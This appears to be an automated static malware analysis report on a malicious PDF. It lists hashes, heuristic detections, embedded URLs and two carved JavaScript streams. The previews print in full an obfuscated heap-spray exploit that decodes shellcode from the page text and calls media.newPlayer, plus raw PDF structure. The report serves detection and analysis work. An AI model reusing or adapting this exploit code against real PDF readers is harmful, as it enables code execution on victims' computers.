Malicious PDF — malware analysis report

Static analysis result for SHA-256 d292d61b4b70c56f…

MALICIOUS

PDF

1.24 MB Created: 2010-07-28 14:45:03 Authoring application: Scribus 1.3.3.14 (via Scribus PDF Library 1.3.3.14) First seen: 2026-05-11
MD5: e5789bdf9ed0fb6dfffb01f41384093e SHA-1: c2e5020f2f227a55ff7cd55638ce36f63e10f40d SHA-256: d292d61b4b70c56ffc8cdc242fe78758f7b9f4ca5eba2ca7b52d3e8df3a446bf
118 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier and contains embedded JavaScript. The JavaScript stream is obfuscated using String.fromCharCode, indicating an attempt to hide its malicious functionality. The primary function of the script appears to be downloading and executing a second-stage payload, as suggested by the heuristic firings and the presence of an embedded JavaScript file. The document body is largely unreadable binary data, providing no contextual clues about the lure.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9901

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var Wo = educ(shell);
var yR = educ(String.fromCharCode(37,117,51,55,50,55,37,117,50,55,102,53));
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.monotype.comMonotype In PDF document text
    • http://ocsp.verisign.com/ocsp/status0In PDF document text
    • https://www.verisign.com/rpa0In PDF document text
    • http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlhttp://www.monotype.com/html/type/license.htmlIn PDF document text
    • https://www.verisign.com/rpaIn PDF document text
    • http://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl0In PDF document text
    • http://www.microsoft.com/typographyIn PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0055_001.js pdf-javascript-stream PDF /JS object 55 at offset 0x13DBAE 1887 bytes
SHA-256: ad89a0bd4ed12636909220051a230a5b5b3b5169c41993c1b0a0cd6d1db4a237
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function os(haystack, needle, offset) {
    var i = (haystack+'').indexOf(needle, (offset || 0));
    return i == -1 ? false : i;
}

function educ(s) {

}



function New_Script()
{
var ckWord, numWords;
var text = '';

for (var i = 0; i < this.numPages; i++ ) 
{
numWords = this.getPageNumWords(i);
for (var j = 0; j < numWords; j++) 
{
ckWord = this.getPageNthWord(i, j);
text = text + ckWord.toString();
}
}

text = text + ' ';


var k = 1;
var b=0;
var shell = '';
var shell_1 = '';
var shell_2 = '';
var u_shell = '';
var pos = 0;
while (pos < (text.length-1)) {
 pos += k;
 if(!b)
 {
	b = 1;
	if (pos < text.length)
	{ shell_1 = shell_1 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ shell_1 = shell_1 + text[pos]; pos+=1; }
 }
 else
 {
	b = 0;
	if (pos < text.length)
	{ shell_2 = shell_2 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ shell_2 = shell_2 + text[pos]; pos+=1; }
	
	u_shell = '%u'+shell_2+shell_1;
	shell_1 = '';
	shell_2 = '';
	shell += u_shell;
 }
 k++;
 if (k>3) k = 1;
}

var Wo = educ(shell);
var yR = educ(String.fromCharCode(37,117,51,55,50,55,37,117,50,55,102,53));

for(i=0;i<15;){yR+=yR;i ++;}
yR=yR.substring(0,32768 - Wo.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= yR + Wo; i ++;
}

util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());


}
javascript_obj0055_002.js pdf-javascript-stream PDF /JS object 55 at offset 0x13DBD1 3380 bytes
SHA-256: bb6c8ee66af4eac095b4cdaa9f76feec631558c115db8665859477d3cd1fcb40
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function os(haystack, needle, offset) {
    var i = (haystack+'').indexOf(needle, (offset || 0));
    return i == -1 ? false : i;
}

function educ(s) {

}



function New_Script()
{
var ckWord, numWords;
var text = '';

for (var i = 0; i < this.numPages; i++ ) 
{
numWords = this.getPageNumWords(i);
for (var j = 0; j < numWords; j++) 
{
ckWord = this.getPageNthWord(i, j);
text = text + ckWord.toString();
}
}

text = text + ' ';


var k = 1;
var b=0;
var shell = '';
var shell_1 = '';
var shell_2 = '';
var u_shell = '';
var pos = 0;
while (pos < (text.length-1)) {
 pos += k;
 if(!b)
 {
	b = 1;
	if (pos < text.length)
	{ shell_1 = shell_1 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ shell_1 = shell_1 + text[pos]; pos+=1; }
 }
 else
 {
	b = 0;
	if (pos < text.length)
	{ shell_2 = shell_2 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ shell_2 = shell_2 + text[pos]; pos+=1; }
	
	u_shell = '%u'+shell_2+shell_1;
	shell_1 = '';
	shell_2 = '';
	shell += u_shell;
 }
 k++;
 if (k>3) k = 1;
}

var Wo = educ(shell);
var yR = educ(String.fromCharCode(37,117,51,55,50,55,37,117,50,55,102,53));

for(i=0;i<15;){yR+=yR;i ++;}
yR=yR.substring(0,32768 - Wo.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= yR + Wo; i ++;
}

util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());


}
endstream
endobj
56 0 obj
<< /S /JavaScript /JS 55 0 R >>
endobj
57 0 obj
<< /Names [ (New_Script) 56 0 R ] >>
endobj
7 0 obj
<< /JavaScript 57 0 R >>
endobj
8 0 obj
[]
endobj
xref
0 58
0000000000 65535 f 
0000000015 00000 n 
0000000266 00000 n 
0001301237 00000 n 
0001301283 00000 n 
0001301367 00000 n 
0001301388 00000 n 
0001303463 00000 n 
0001303503 00000 n 
0000000467 00000 n 
0000001848 00000 n 
0000411199 00000 n 
0000411422 00000 n 
0000412403 00000 n 
0000414242 00000 n 
0000417312 00000 n 
0000417507 00000 n 
0000418497 00000 n 
0000420636 00000 n 
0000423742 00000 n 
0000423937 00000 n 
0000424927 00000 n 
0000427257 00000 n 
0000430375 00000 n 
0000430570 00000 n 
0000431409 00000 n 
0000433138 00000 n 
0000435390 00000 n 
0000435585 00000 n 
0000436377 00000 n 
0000437824 00000 n 
0000439728 00000 n 
0000439923 00000 n 
0000440749 00000 n 
0000443111 00000 n 
0000445771 00000 n 
0000445966 00000 n 
0000446744 00000 n 
0000448072 00000 n 
0000449904 00000 n 
0000450099 00000 n 
0000450456 00000 n 
0000451125 00000 n 
0000452259 00000 n 
0000452454 00000 n 
0000453370 00000 n 
0000454829 00000 n 
0000961731 00000 n 
0000962195 00000 n 
0000962249 00000 n 
0000962409 00000 n 
0000962560 00000 n 
0001300754 00000 n 
0001300808 00000 n 
0001300987 00000 n 
0001301422 00000 n 
0001303362 00000 n 
0001303410 00000 n 
trailer
<<
/Size 58
/Root 1 0 R
/Info 2 0 R
/ID [<9E3ABEBFA5DAECD793F730D7A1757559><9E3ABEBFA5DAECD793F730D7A1757559>]
>>
startxref
1303521
%%EOF

Open this report in the interactive analyzer, or submit your own file for analysis.